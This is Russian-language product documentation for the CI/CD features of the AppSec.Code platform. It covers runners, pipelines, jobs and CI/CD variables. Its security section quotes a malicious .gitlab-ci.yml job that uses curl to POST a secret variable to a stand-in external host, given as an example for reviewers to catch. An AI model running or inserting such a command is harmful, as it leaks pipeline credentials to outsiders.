Использование CI/CD для сборки¶

Размещайте исходный код в репозитории, создавайте запросы на слияние для внесения изменений в код и используйте CI/CD для генерации приложения. Включайте пакеты в свое приложение и выводите его в различные среды.

CI/CD — это непрерывный метод разработки ПО, при котором происходит непрерывная сборка, тестирование, развертывание и мониторинг итеративных изменений кода.

Такой итеративный процесс позволяет снизить вероятность разработки нового кода на основе предыдущих версий с ошибками или недостатками. CI/CD позволяет выявлять ошибки на ранних этапах цикла разработки и обеспечивать соответствие всего кода, развертываемого в производстве, установленным стандартам.

Общие термины¶

Если вы только знакомитесь с CI/CD, начните с часто используемых терминов.

Файл .gitlab-ci.yml¶

Чтобы использовать CI/CD, необходимо создать файл .gitlab-ci.yml в корне проекта. В этом файле вы указываете список действий, которые вы хотите выполнить, например, протестировать и развернуть ваше приложение. Этот файл имеет формат YAML и особый синтаксис.

Вы можете назвать этот файл как угодно, но наиболее распространенным является имя .gitlab-ci.yml. Используйте редактор пайплайнов для редактирования файла .gitlab-ci.yml и проверки синтаксиса перед коммитом изменений.

Раннеры¶

Раннеры — это агенты, выполняющие ваши задачи. Они могут работать на физических или виртуальных машинах. В файле .gitlab-ci.yml можно указать образ контейнера, который будет использоваться для выполнения задачи. Раннер загружает образ и выполняет задачу либо локально, либо в контейнере. Вы можете:

Регистрировать раннеры для своего автономно управляемого инстанса или использовать уже зарегистрированные.
Создать раннер на локальной машине.

Пайплайны¶

Пайплайны, или конвейеры, формируются из задач (jobs) и стадий (stages):

Задачи определяют, что вы хотите сделать. Например, тестирование изменений кода или развертывание в среде staging.
Задачи группируются по стадиям. Каждая стадия содержит минимум одну задачу. Типичными стадиями могут быть сборка (build), тестирование (test) и развертывание (deploy).

Переменные CI/CD¶

Переменные CI/CD помогают настраивать задачи, делая доступными для них значения, определенные в других местах. Они могут быть указаны в файле .gitlab-ci.yml, настройках проекта или быть динамически сгенерированными предопределенными переменными.

Компоненты CI/CD¶

Компоненты CI/CD — это переиспользуемые единицы конфигурации пайплайна. С их помощью можно составить конфигурацию всего пайплайна или небольшой части более крупного пайплайна.

Раннер¶

Раннер — это приложение, работающее с CI/CD для запуска задач в пайплайне.

Версии раннеров¶

В целях совместимости мажорная и минорная версии раннеров должны быть синхронизированы с мажорной и минорной версиями AppSec.Code. Более старые версии раннеров могут работать с более новыми версиями AppSec.Code, и наоборот. Однако при разнице в версиях функции могут быть недоступны или работать некорректно.

Обратная совместимость гарантируется между минорными обновлениями версий. Однако иногда в минорных версиях AppSec.Code могут появляться новые возможности, которые требуют, чтобы раннер был той же минорной версии.

Регистрация раннера¶

После установки приложения вы регистрируете отдельные раннеры. Раннеры — это агенты, которые выполняют поступающие CI/CD- задачи.

При регистрации раннера устанавливается связь между экземпляром AppSec.Code и машиной, на которой установлен раннер.

Задачи обычно обрабатываются на той же машине, на которой установлен раннер. Тем не менее, можно также поручить раннеру выполнение задач в контейнере, в кластере Kubernetes или в облачных экземплярах с автоматическим масштабированием.

Исполнители¶

При регистрации раннера необходимо выбрать исполнителя.

Исполнитель определяет окружение, в котором выполняется каждая задача.

Например, если вы хотите, чтобы CI/CD-задача выполняла команды в кастомном контейнере Docker, вы можете установить Runner на Linux-сервере и зарегистрировать runner, использующий Docker executor.

Возможны и другие конфигурации. Можно установить Runner на виртуальную машину, а в качестве исполнителя использовать другую виртуальную машину.

Когда вы устанавливаете Runner в контейнер Docker и выбираете Docker executor для запуска задач, это иногда называют конфигурацией «Docker-in-Docker».

Кто имеет доступ к раннерам в пользовательском интерфейсе¶

Перед регистрацией раннера следует определить, должен ли доступ к нему иметь каждый пользователь, или же необходимо ограничить его только определенной группой или проектом.

Существует три типа раннеров, в зависимости от того, кому вы хотите предоставить доступ:

Совместно используемые раннеры — для использования всеми проектами.
Групповые раннеры — для всех проектов и подгрупп в группе.
Проектные раннеры — для индивидуальных проектов.

Область действия раннера определяется при регистрации. Так раннер узнает, для каких проектов он доступен.

Теги¶

В процессе регистрации раннера можно добавить к нему теги.

Когда выполняется CI/CD-задача, она определяет, какой раннер использовать, исходя из присвоенных ему тегов. Теги — единственный способ отфильтровать список доступных для выполнения задач раннеров.

Например, если раннер имеет тег ruby, вы должны добавить в файл .gitlab-ci.yml вашего проекта следующий код:

job:
  tags:
    - ruby

При выполнении этой задачи используется раннер с тегом ruby.

Конфигурирование раннеров¶

Настроить раннер можно, отредактировав файл config.toml. Этот файл устанавливается в процессе установки раннера.

В этом файле можно редактировать настройки для конкретного раннера или для всех раннеров.

Можно задать такие параметры, как логирование и кэш. Можно задавать параллелизацию, память, лимиты процессора и т. д.

Мониторинг раннеров¶

Вы можете использовать Prometheus для мониторинга раннеров. Можно просматривать такие данные, как количество выполняемых в данный момент задач и использование ими процессора.

Использование раннеров для выполнения задач¶

После того как раннер настроен и доступен для проекта, его могут использовать задачи CI/CD.

Особенности¶

Runner обладает следующими особенностями и возможностями:

Одновременное выполнение нескольких задач.
Использование нескольких токенов с несколькими серверами (даже для одного проекта).
Ограничение количества одновременных задач на один токен.
Можно выполнять задачи:
- Локально.
- С использованием контейнеров Docker.
- С использованием контейнеров Docker и выполнением задач по SSH.
- С использованием контейнеров Docker с автомасштабированием в различных облаках и гипервизорах виртуализации.
- С подключением к удаленному SSH-серверу.
Написан на языке Go и распространяется в виде одного бинарного файла без каких-либо других требований.
Поддерживает Bash, PowerShell Core и Windows PowerShell.
Работает на GNU/Linux, macOS и Windows (практически везде, где можно запустить Docker).
Позволяет кастомизировать среду выполнения задачи.
Автоматическая перезагрузка конфигурации без перезапуска.
Простая настройка с поддержкой окружений Docker, Docker-SSH, Parallels или SSH.
Включает кэширование контейнеров Docker.
Простая установка в качестве сервиса для GNU/Linux, macOS и Windows.
Встроенный HTTP-сервер метрик Prometheus.
Референсные worker’ы для мониторинга и передачи в AppSec.Code метрик Prometheus и других данных, специфичных для конкретной задачи.

Пайплайны CI/CD¶

Пайплайны, или конвейеры — это компоненты верхнего уровня в системе непрерывной интеграции, доставки и развертывания.

Пайплайны включают:

Задачи (jobs), которые определяют, что делать. Например, задачи по компиляции или тестированию кода.
Стадии (stages), которые определяют, когда выполнять задачи. Например, стадии, на которых выполняются тесты, следуют за стадиями, на которых компилируется код.

Задачи выполняются раннерами. При наличии достаточного количества одновременно работающих раннеров несколько задач на одной и той же стадии выполняются параллельно.

Если все задачи стадии выполнены успешно, пайплайн переходит к следующему этапу.

Если хотя бы одна задача на текущей стадии завершилась неудачно, то следующая стадия (как правило) не выполняется, и выполнение пайплайна прерывается.

Обычно пайплайны выполняются автоматически и не требуют вмешательства после создания. Однако бывают случаи, когда с пайплайном можно взаимодействовать вручную.

Типичный пайплайн может состоять из четырех стадий, выполняемых в следующем порядке:

Стадия сборки build с задачей на компиляцию compile.
Стадия тестирования test с двумя задачами test1 и test2.
Стадия staging с развертыванием в заданную среду с задачей под названием deploy-to-stage.
Стадия production с развертыванием в промышленную эксплуатацию с задачей под названием deploy-to-prod.

Если у вас есть зеркало репозитория, из которого берутся данные, вам может потребоваться включить триггеры пайплайнов в разделе настроек проекта Настройки > Репозиторий > Зеркалирование репозиториев > Запуск конвейеров для обновления зеркал.

Типы пайплайнов¶

Пайплайны могут быть сконфигурированы различными способами:

Базовые пайплайны выполняют все действия на каждой стадии одновременно, а затем переходят к следующей стадии.
Пайплайны Directed Acyclic Graph Pipeline (DAG) основаны на взаимосвязях между задачами и могут работать быстрее, чем базовые пайплайны.
Пайплайны запросов на слияние выполняются только для запросов на слияние (а не для каждого коммита).
Пайплайны с объединенными результатами — это пайплайны запросов на слияние, которые действуют так, как будто изменения из исходной ветки уже были влиты в целевую ветку.
Поезда слияния используют пайплайны с объединенными результатами для формирования очереди слияний друг за другом.
Пайплайны «родитель-ребенок» разбивают сложные пайплайны на один родительский, который может запускать несколько дочерних подчиненных пайплайнов, работающих в одном проекте и с одним и тем же SHA. Такая архитектура пайплайнов обычно используется для монорепозиториев.
Мультипроектные пайплайны объединяют пайплайны для разных проектов.

Конфигурирование пайплайна¶

Пайплайны и входящие в них задачи и стадии определяются в файле конфигурации CI/CD-пайплайна для каждого проекта.

Задачи (jobs) являются основным компонентом конфигурации.
Стадии определяются с помощью ключевого слова stages.

Помимо параметров конфигурации в файле CI-пайплайна, вы также можете настраивать отдельные аспекты пайплайнов через пользовательский интерфейс, например:

Настройки пайплайна для каждого проекта.
Расписание работы пайплайнов.
Пользовательские переменные CI/CD.

Просмотр пайплайнов¶

Вы можете найти текущие и прошлые запуски пайплайнов на странице Сборка > Пайплайны вашего проекта. Также можно получить доступ к пайплайнам запроса на слияние, перейдя на его вкладку Пайплайны.

Выберите пайплайн, чтобы открыть страницу Информация о пайплайне и посмотреть задачи, которые запускались для этого пайплайна. Отсюда можно отменить запущенный пайплайн, повторить выполнение задач для неудачного запуска пайплайна или удалить пайплайн.

По адресу /project/-/pipelines/[branch]/latest находится ссылка на последний пайплайн для последнего коммита данной ветки. Кроме того, /project/-/pipelines/latest перенаправляет вас на последний пайплайн для последнего коммита в ветке по умолчанию для данного проекта.

Список пайплайнов можно отфильтровать по следующим параметрам:

Автор триггера.
Имя ветки.
Статус.
Тег.
Источник.

Вы можете изменить столбец пайплайна для отображения ID пайплайна или IID пайплайна.

Ручной запуск пайплайна¶

Пайплайны могут запускаться вручную с заданными вручную переменными.

Такой подход можно использовать, если результаты работы пайплайна (например, сборка кода) требуются вне рамок стандартной работы пайплайна.

Для запуска пайплайна вручную:

Выберите Поиск и переход... слева в меню и найдите проект.
Выберите Сборка > Пайплайны.
Выберите Запустить пайплайн.
В поле Запуск по имени ветки или тега выберите ветку или тег, для которых необходимо запустить пайплайн.
Введите все переменные CI/CD, необходимые для работы пайплайна.
Выберите Запустить пайплайн.

Теперь пайплайн будет выполнять задачи в соответствии с настройками.

Предварительное заполнение переменных в ручных пайплайнах¶

Ключевые слова description и value можно использовать для определения глобальных переменных на уровне пайплайна, которые предварительно заполняются при ручном запуске пайплайна. Используйте описание для пояснения информации, например, для чего используется переменная и каковы ее допустимые значения. Переменные уровня задачи не могут быть предварительно заполнены.

В запускаемых вручную пайплайнах на странице Запустить пайплайн отображаются все переменные уровня пайплайна, описание которых задано в файле .gitlab-ci.yml. Описание отображается под переменной.

Можно изменить предварительно заполненное значение, которое переопределяет значение для данного отдельного запуска пайплайна. Все переменные, переопределенные с помощью этого процесса, раскрываются и не маскируются. Если вы не определили значение (value) переменной в конфигурационном файле, то имя переменной все равно будет указано, но поле значения будет пустым.

Например:

variables:
  DEPLOY_CREDENTIALS:
  description: "The deployment credentials."
DEPLOY_ENVIRONMENT:
  description: "Select the deployment target. Valid options are: 'canary', 'staging', 'production', or a stable branch of your choice."
  value: "canary"

В этом примере:

Переменная DEPLOY_CREDENTIALS указана на странице Запустить пайплайн, но ее значение не задано. Предполагается, что пользователь будет определять это значение каждый раз, когда пайплайн запускается вручную.
Переменная DEPLOY_ENVIRONMENT предварительно заполнена на странице Запустить пайплайн со значением по умолчанию canary, а в описании перечисляются другие опции.

Добавление ручных операций в пайплайн¶

Ручные задачи позволяют определить необходимость ручных действий перед дальнейшим продвижением по пайплайну.

Это можно сделать прямо из графа пайплайна. Для выполнения конкретной задачи достаточно выбрать кнопку запуска .

Например, пайплайн может запускаться автоматически, но для его развертывания в промышленную эксплуатацию требуется ручное действие. В приведенном ниже примере на стадии production имеется задача с ручным действием:

Запуск нескольких ручных действий на одной стадии¶

Несколько ручных действий на одной стадии могут быть запущены одновременно с помощью команды «Выполнить все вручную». После выбора этого действия каждое отдельное ручное действие будет запущено и обновлено до актуального состояния.

Эта функциональность доступна только:

Для пользователей с ролью не ниже Разработчик.
Если стадия содержит ручные действия.

Пропуск пайплайна¶

Чтобы запушить коммит без запуска пайплайна, добавьте [ci skip] или [skip ci], используя любую заглавную букву, в сообщение коммита.

В качестве альтернативы, если вы используете Git 2.10 или более позднюю версию, используйте опцию ci.skip в Git push. Опция ci.skip в push не пропускает пайплайны запросов на слияние.

Удаление пайплайна¶

Пользователи с ролью Владелец для проекта могут удалить пайплайн, выбрав его в меню Сборка > Пайплайны, после чего перейти на страницу Информация о пайплайне и выбрать пункт Удалить.

Удаление пайплайна не приводит к автоматическому удалению его дочерних пайплайнов.

Примечание

При удалении пайплайна уничтожаются все кэши пайплайна, а также удаляются все напрямую связанные с ним объекты, такие как сборки, логи, артефакты и триггеры. Это действие нельзя отменить.

Безопасность пайплайна на защищенных ветках¶

Строгая модель безопасности обеспечивается при запуске пайплайнов на защищенных ветвях.

Следующие действия разрешены на защищенных ветках, если пользователю разрешается выполнять слияние (merge) или push в данной ветке:

Ручной запуск пайплайнов (с помощью Web-интерфейса или API-пайплайнов).
Запуск пайплайнов по расписанию.
Запуск пайплайнов с помощью триггеров.
Запуск ручных действий на существующих пайплайнах.
Повторное выполнение или отмена существующих задач (с помощью веб-интерфейса или API-пайплайнов).

Переменные, помеченные как защищенные, доступны задачам, выполняющимся в пайплайнах для защищенных веток. Назначайте пользователям право на слияние с защищенными ветвями только в том случае, если они имеют право доступа к конфиденциальной информации, такой как учетные данные и токены для установки.

Раннеры, помеченные как защищенные, могут запускать задачи только на защищенных ветках, что предотвращает выполнение недоверенного кода на защищенном раннере и сохраняет ключи развертывания и другие учетные данные от непреднамеренного доступа. Чтобы убедиться в том, что задачи, предназначенные для выполнения на защищенных раннерах, не используют обычные раннеры, они должны быть тегированы соответствующим образом.

Визуализация пайплайнов¶

Пайплайны могут представлять собой сложные структуры с множеством последовательных и параллельных задач.

Для облегчения понимания процесса работы пайплайна в Системе предусмотрены графы пайплайнов, позволяющие просматривать пайплайны и их состояние.

Графы пайплайна могут отображаться в виде большого графа или миниатюрного представления, в зависимости от того, с какой страницы осуществляется доступ к графу.

Система выделяет названия стадий в графах пайплайнов заглавными буквами.

Просмотр полного графа пайплайна¶

На странице с детальными сведениями о пайплайне отображается полный граф всех задач в пайплайне.

Вы можете группировать задачи по:

Стадиям — в результате чего задачи, находящиеся на одной стадии, располагаются в одном столбце:

Зависимостям задач — в результате чего задачи упорядочиваются на основе зависимостей от их needs.

Графы мультипроектных пайплайнов позволяют визуализировать весь пайплайн, включая все межпроектные взаимозависимости.

Если стадия содержит более 100 задач, то в графе пайплайна отображаются только первые 100 задач. Остальные задачи продолжают выполняться в обычном режиме. Чтобы просмотреть задачи:

Выберите пайплайн, и задачи будут перечислены в правой части страницы с подробной информацией о пайплайне.
В левой боковой панели выберите Сборка > Задачи.

Просмотр зависимостей задач в графе пайплайна¶

Чтобы расположить задачи в графе пайплайна на основе зависимостей от их needs, выберите пункт Зависимости задач в разделе Группировать задачи по. Эта опция доступна для пайплайнов, содержащих 3 и более задач с зависимостями задач от needs.

Задачи в крайнем левом столбце выполняются первыми, а задачи, зависящие от них, группируются в следующих столбцах.

Например, test-job1 зависит только от задач в первом столбце, поэтому отображается во втором столбце слева. deploy-job1 зависит от задач как в первом, так и во втором столбце и отображается в третьем столбце:

Чтобы добавить линии, показывающие отношения needs между задачами, включите тумблер Показать зависимости. Эти линии аналогичны визуализации needs:

Чтобы увидеть полное дерево зависимостей needs для задачи, наведите на него курсор мыши:

Мини-графы пайплайнов¶

Мини-графы пайплайнов занимают меньше места и позволяют с первого взгляда определить, все ли задачи выполнены или что-то закончилось неудачей. Мини-граф пайплайна можно найти, перейдя в одно из следующих мест:

Индексная страница пайплайнов.
Страница отдельного коммита.
Страница запроса на слияние.
Редактор пайплайнов.

Мини-графы пайплайна позволяют увидеть все связанные задачи для отдельного коммита и конечный результат каждого этапа пайплайна. Это позволяет быстро понять, что именно не удалось сделать, и исправить ошибку.

Мини-графы пайплайна отображают задачи только по стадиям.

Стадии на мини-графах пайплайна можно раскрывать. Наведите курсор мыши на каждую стадию, чтобы увидеть ее название и статус, и выберите стадию, чтобы развернуть список работ.

Мини-граф	Расширенный мини-граф

Задачи¶

Конфигурация пайплайна начинается с задач. Задачи являются наиболее фундаментальным элементом файла .gitlab-ci.yml.

Задачи:

Определяются ограничениями, указывающими, при каких условиях они должны быть выполнены.
Являются элементами верхнего уровня с произвольным именем и должны содержать как минимум один script.
Не ограничены в количестве определений.

Например:

job1:
  script: "execute-script-for-job1"

job2:
  script: "execute-script-for-job2"

Приведенный выше пример представляет собой простейшую конфигурацию CI/CD с двумя отдельными задачами, каждая из которых выполняет свою команду. Конечно, команда может выполнять код напрямую (./configure;make;make install) или запускать скрипт (test.sh) в репозитории.

Задачи подхватываются раннерами и выполняются в окружении раннера. Важно, что все эти задачи выполняются независимо друг от друга.

Просмотр задач в пайплайне¶

При обращении к пайплайну можно просмотреть связанные с ним задачи.

Выбор отдельной задачи приводит к отображению лога ее выполнения и позволяет:

Отменить задачу.
Повторить выполнение задачи, если она завершилась неудачей.
Повторно выполнить задачу, если она завершилась успешно.
Стереть лог выполнения задачи.

Просмотр задач в проекте¶

Для просмотра полного списка задач, которые были выполнены в проекте:

Выберите Поиск и переход... слева в меню и найдите проект.
Выберите Сборка > Задачи.

Список можно отфильтровать по статусу задач.

Выяснение причины неудачного завершения задачи¶

Когда пайплайн не работает или происходит сбой, есть несколько мест, где можно найти причину:

В графе пайплайна, на странице детального представления пайплайна.
В виджетах пайплайна, на страницах запросов на слияние и коммитов.
В представлениях задачи, в глобальном и детальном представлениях задачи.

В каждом из этих мест, если навести курсор на задачу, которая закончилась неудачей, можно увидеть причину.

Причину можно также увидеть на странице с детальной информацией о задаче.

Порядок задач в пайплайне¶

Порядок задач в пайплайне зависит от типа графа пайплайна.

Для полных графов пайплайнов задачи сортируются по имени.
Для мини-графов пайплайнов задачи сортируются по статусу, а затем по имени.

Порядок статусов задач:

закончилась неудачей;
предупреждение;
находится в ожидании;
выполняется;
с ручным действием;
с запуском по расписанию;
отменена;
завершилась успешно;
пропущена;
создана.

Например:

Ограничения по наименованию задачи¶

В качестве названий задач нельзя использовать следующие ключевые слова:

image
services
stages
types
before_script
after_script
variables
cache
include
true
false
nil
pages:deploy в конфигурации для стадии deploy

Имена задач должны содержать не более 255 символов.

Используйте уникальные имена для задач. Если в файле несколько задач имеют одинаковое имя, в пайплайн добавляется только одна, и трудно предсказать, какая из них будет выбрана. Если одно и то же имя задачи используется в одном или нескольких подключенных файлах, параметры объединяются.

Группировка задач в пайплайне¶

Если у вас много однотипных задач, то граф пайплайна становится длинным и трудночитаемым.

Можно автоматически объединять похожие задачи в группы. Если имена задач отформатированы определенным образом, то в стандартных графах пайплайна они сводятся в одну группу (но не в мини-графах).

Вы можете распознать, что в пайплайне есть сгруппированные задачи, если не видите внутри них кнопок повтора или отмены. При наведении на них курсора отображается количество сгруппированных задач. Выберите их, чтобы раскрыть сгруппированные задачи.

Чтобы создать группу задач, в файле конфигурации CI/CD-пайплайна разделите имена каждой задачи цифрой и одним из следующих символов:

Слэш (/), например, slash-test ⅓, slash-test ⅔, slash-test 3/3.
Двоеточие (:), например, colon-test 1:3, colon-test 2:3, colon-test 3:3.
Пробел, например, space-test 0 3, space-test 1 3, space-test 2 3.

Эти символы можно использовать попеременно.

В приведенном ниже примере три задачи находятся в группе с именем build ruby:

build ruby 1/3:
  stage: build
  script:
    - echo "ruby1"

build ruby 2/3:
  stage: build
  script:
    - echo "ruby2"

build ruby 3/3:
  stage: build
  script:
    - echo "ruby3"

На графе пайплайна отображается группа с именем build ruby, состоящая из трех задач.

Задачи упорядочиваются путем сравнения чисел слева направо. Как правило, первое число является индексом, а второе - итоговым значением.

Это регулярное выражение позволяет проверить имена задач: ([\b\s:]+((\[.*\])|(\d+[\s:\/\\\]+\d+))){1,3}\s*\z. Одна или несколько последовательностей : [...], X Y, X/Y или X\Y удаляются только в конце имен задач. Совпадающие подстроки, найденные в начале или в середине имен задач, не удаляются.

Сокрытие задач¶

Чтобы временно отключить задачу, не удаляя ее из конфигурационного файла:

Закомментируйте конфигурацию задачи:
```
\# hidden_job:
\#   script:
\#     - run test
```
Если начать имя задания с точки (.), оно не будет обрабатываться в CI/CD:
```
.hidden_job:
  script:
    - run test
```

Скрытые задачи, начинающиеся с точки (.), можно использовать в качестве шаблонов для переиспользуемой конфигурации:

C ключевым словом extends.
С YAML-якорями.

Указание переменных при выполнении задач вручную¶

При выполнении задач в ручном режиме можно ввести дополнительные переменные, относящиеся к конкретной задаче.

Это можно сделать на странице задачи для ручной задачи, которую нужно запустить с дополнительными переменными. Чтобы перейти на эту страницу, выберите имя ручной задачи в представлении пайплайна, но не кнопку запуска .

Определите здесь переменные CI/CD, если вы хотите изменить выполнение задачи, использующей переменные CI/CD.

Если вы добавляете переменную, которая уже определена в настройках CI/CD или в файле .gitlab-ci.yml, то переменная переопределяется с новым значением. Все переменные, переопределенные с помощью этого процесса, являются expanded и не маскируются.

Задержка выполнения задачи¶

Если вы не хотите запускать задачу немедленно, можно использовать ключевое слово when:delayed, чтобы отложить ее выполнение на определенный период.

Это особенно полезно для инкрементального развертывания по времени, когда новый код развертывается постепенно.

Например, если вы начинаете развертывать новый код и:

Пользователи не испытывают проблем, Система может автоматически завершить развертывание от 0% до 100%.
Если у пользователей возникают проблемы при работе с новым кодом, то можно остановить инкрементальное развертывание по времени, отменив работу пайплайна и откатившись к последней стабильной версии.

Переменные CI/CD¶

Переменные CI/CD являются одним из типов переменных окружения. Их можно использовать для того, чтобы:

Управлять поведением заданий и пайплайнов.
Хранить значения, которые вы хотите использовать повторно.
Избегать жесткого кодирования значений в файле .gitlab-ci.yml.

Значения переменных можно переопределить вручную для конкретного пайплайна или предусмотреть их предварительное заполнение в ручных пайплайнах.

Имена переменных ограничены командной оболочкой (shell), используемой исполнителем для выполнения скриптов. Каждая командная оболочка имеет свой набор зарезервированных имен переменных.

Для того чтобы обеспечить согласованное поведение, необходимо всегда заключать значения переменных в одинарные или двойные кавычки. Внутренний парсинг переменных осуществляется парсером Psych YAML, поэтому переменные в кавычках и без кавычек могут быть интерпретированы не одинаково. Например, VAR1: 012345 интерпретируется как восьмеричное значение, поэтому значение будет 5349, но VAR1: "012345" будет разобрана как строка со значением 012345.

Предопределенные переменные CI/CD¶

Система предоставляет набор предопределенных переменных CI/CD для использования в конфигурации пайплайна и скриптах задач. Эти переменные содержат информацию о задаче, пайплайне и другие значения, которые могут понадобиться при запуске пайплайна.

Вы можете использовать предопределенные переменные CI/CD в файле .gitlab-ci.yml, не объявляя их предварительно. Например:

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

Скрипт в этом примере выполняет вывод: The job's stage is 'test'.

Определение переменной CI/CD в файле .gitlab-ci.yml¶

Чтобы создать переменную CI/CD в файле .gitlab-ci.yml, определите переменную и значение с помощью ключевого слова variables.

Переменные, сохраненные в файле .gitlab-ci.yml, видны всем пользователям, имеющим доступ к репозиторию. Они должны хранить только не конфиденциальную конфигурацию проекта. Например, URL базы данных, сохраняемый в переменной DATABASE_URL. Чувствительные переменные, содержащие такие значения, как секреты или ключи, должны храниться в настройках проекта.

Ключевое слово variables можно использовать в задаче или на верхнем уровне файла .gitlab-ci.yml. Если переменная определена:

На верхнем уровне, то она глобально доступна, и все задачи могут ее использовать.
В задаче, то ее может использовать только эта задача.

Например:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables:
    JOB_VAR: "A job variable"
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

job2:
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

В этом примере:

job1 выводит: Variables are 'A global variable' and 'A job variable'.
job2 выводит: Variables are 'A global variable' and ''.

Используйте ключевые слова value и description для определения переменных, которые предварительно заполняются для пайплайнов, запускаемых вручную.

Пропуск глобальных переменных в одной задаче¶

Если вы не хотите, чтобы глобально определенные переменные были доступны в задаче, задайте для variables значение {}:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

Определение переменной CI/CD в пользовательском интерфейсе¶

Чувствительные переменные, такие как токены или пароли, должны храниться в настройках в пользовательском интерфейсе, а не в файле .gitlab-ci.yml. Определите переменные CI/CD в пользовательском интерфейсе:

Для проекта в настройках проекта.
Для всех проектов в группе в настройках группы.
Для всех проектов инстанса (экземпляра) Системы в настройках инстанса.

Также данные переменные могут быть добавлены через API:

С помощью API endpoint переменных уровня проекта.
С помощью API endpoint переменных на уровне группы.
С помощью API endpoint переменных на уровне инстанса.

По умолчанию пайплайны из ответвленных проектов не могут получить доступ к переменным CI/CD, доступным в родительском проекте. Если запустить пайплайн запроса на слияние в родительском проекте для запроса на слияние из ответвления, то все переменные станут доступны пайплайну.

Для проекта¶

Вы можете добавить переменные CI/CD в настройки проекта.

Необходимые условия:

Вы должны быть участником проекта с ролью Сопровождающий.

Для добавления или обновления переменных в настройках проекта:

Перейдите в Настройки > CI/CD проекта и раскройте раздел Переменные.
Выберите Добавить переменную и введите следующие данные:
- Key: должен быть задан в одной строке, без пробелов, с использованием только букв, цифр или _.
- Value: без ограничений.
- Type: Variable (по умолчанию) или File.
- Environment scope: опционально. All или определенные окружения.
- Protect variable: опционально. Если этот параметр выбран, то переменная доступна только в пайплайнах, работающих на защищенных ветках или защищенных тегах.
- Mask variable: опционально. Если этот параметр выбран, значение (Value) переменной маскируется в логах задач. Если значение не соответствует требованиям маскировки, переменная не сохраняется.

После создания переменной ее можно использовать в конфигурации .gitlab-ci.yml или в скриптах задачи.

Для группы¶

Вы можете сделать переменную CI/CD доступной для всех проектов в группе.

Необходимые условия:

Вы должны быть членом группы с ролью Владелец.

Для добавления групповой переменной:

В группе перейдите в Настройки > CI/CD.
Выберите Добавить переменную и введите следующие данные:
- Key: должен быть задан в одной строке, без пробелов, с использованием только букв, цифр или _.
- Value: без ограничений.
- Type: Variable (по умолчанию) или File.
- Environment scope: опционально. All или определенные окружения.
- Protect variable: опционально. Если этот параметр выбран, то переменная доступна только в пайплайнах, работающих на защищенных ветках или защищенных тегах.
- Mask variable: опционально. Если этот параметр выбран, значение (Значение) переменной маскируется в логах задач. Если значение не соответствует требованиям маскировки, переменная не сохраняется.

Групповые переменные, доступные в проекте, перечислены в разделе проекта Настройки > CI/CD > Переменные. Переменные из подгрупп наследуются рекурсивно.

Для инстанса¶

Вы можете сделать переменную CI/CD доступной для всех проектов и групп в инстансе (экземпляре) Системы.

Необходимые условия:

Вы должны иметь права администратора на данный инстанс.

Для добавления переменной инстанса:

Выберите Поиск и переход... слева в меню.
Выберите Администрирование.
Выберите Настройки > CI/CD и раскройте раздел Переменные.
Выберите Добавить переменную и введите следующие данные:
- Key: должен быть задан в одной строке, без пробелов, с использованием только букв, цифр или _.
- Value: значение ограничено 10 000 символами, а также любыми ограничениями ОС раннера.
- Type: Variable (по умолчанию) или File.
- Environment scope: опционально. All или определенные окружения.
- Protect variable: опционально. Если этот параметр выбран, то переменная доступна только в пайплайнах, работающих на защищенных ветках или защищенных тегах.
- Mask variable: опционально. Если этот параметр выбран, значение (Значение) переменной маскируется в логах задач. Если значение не соответствует требованиям маскировки, переменная не сохраняется.

Безопасность переменных CI/CD¶

Код, загруженный в файл .gitlab-ci.yml, может скомпрометировать ваши переменные. Переменные могут быть случайно раскрыты в логе задач или злонамеренно отправлены на сторонний сервер.

Проводите обзор всех запросов на слияние, которые вносят изменения в файл .gitlab-ci.yml, перед тем как:

Запустить пайплайн в родительском проекте для запроса на слияние, отправленного из fork-проекта.
Влить изменения.

Проводите ревью файлов .gitlab-ci.yml из импортированных проектов, прежде чем добавлять в эти проекты файлы или запускать пайплайны.

В следующем примере показан вредоносный код в файле .gitlab-ci.yml:

accidental-leak-job:
  script: # Password exposed accidentally
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD

malicious-job:
  script: # Secret exposed maliciously
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "<https://maliciouswebsite.abcd/>"

Чтобы снизить риск случайной утечки секретов через скрипты, как в случае с accidental-leak-job, все переменные, содержащие конфиденциальную информацию, должны быть замаскированы в логах задач. Можно также ограничить переменную только для защищенных ветвей и тегов.

Вредоносные скрипты, подобные malicious-job, должны быть выявлены в процессе ревью. Участники ревью никогда не должны запускать пайплайн при обнаружении подобного кода, поскольку вредоносный код может скомпрометировать как маскированные, так и защищенные переменные.

Значения переменных шифруются с использованием алгоритма шифрования aes-256-cbc и хранятся в базе данных. Эти данные могут быть прочитаны и расшифрованы только при наличии валидного файла секретов.

Маскирование переменной CI/CD¶

Символ «~» может использоваться в маскированных переменных.

Примечание

Маскировка переменных в CI/CD не является гарантированным способом предотвращения доступа злоумышленников к значениям переменных. Функция маскирования является «лучшей попыткой» предотвращения и предназначена для помощи в случае случайного раскрытия переменной. Для повышения безопасности переменных следует использовать внешние секреты и переменные типа «файл», чтобы такие команды, как env/printenv, не могли распечатать секретные переменные.

Вы можете замаскировать переменную CI/CD проекта, группы или инстанса, чтобы ее значение не отображалось в логах задач.

Необходимые условия:

Вы должны иметь ту же роль или уровень доступа, которые требуются для определения переменной CI/CD в пользовательском интерфейсе.

Для маскирования переменной:

В проекте, группе или области администратора (Администрирование) перейдите в раздел Настройки > CI/CD.
Раскройте раздел Переменные.
Рядом с переменной, которую необходимо защитить, выберите Редактировать.
Установите флажок Маскировать переменную.
Выберите Обновить переменную.

Метод, используемый для маскирования переменных, ограничивает то, что может быть включено в маскируемую переменную. Значение переменной должно:

Быть задано в одной строке.
Быть длиной 8 символов или более и состоять только из:
- Символов из алфавита Base64 (RFC4648).
- Символов @, :, . или ~.
Не совпадать с именем существующей предопределенной или пользовательской кастомной CI/CD-переменной.

Защита переменной CI/CD¶

Вы можете настроить CI/CD-переменную проекта, группы или инстанса таким образом, чтобы она была доступна только для пайплайнов, работающих на защищенных ветках или защищенных тегах.

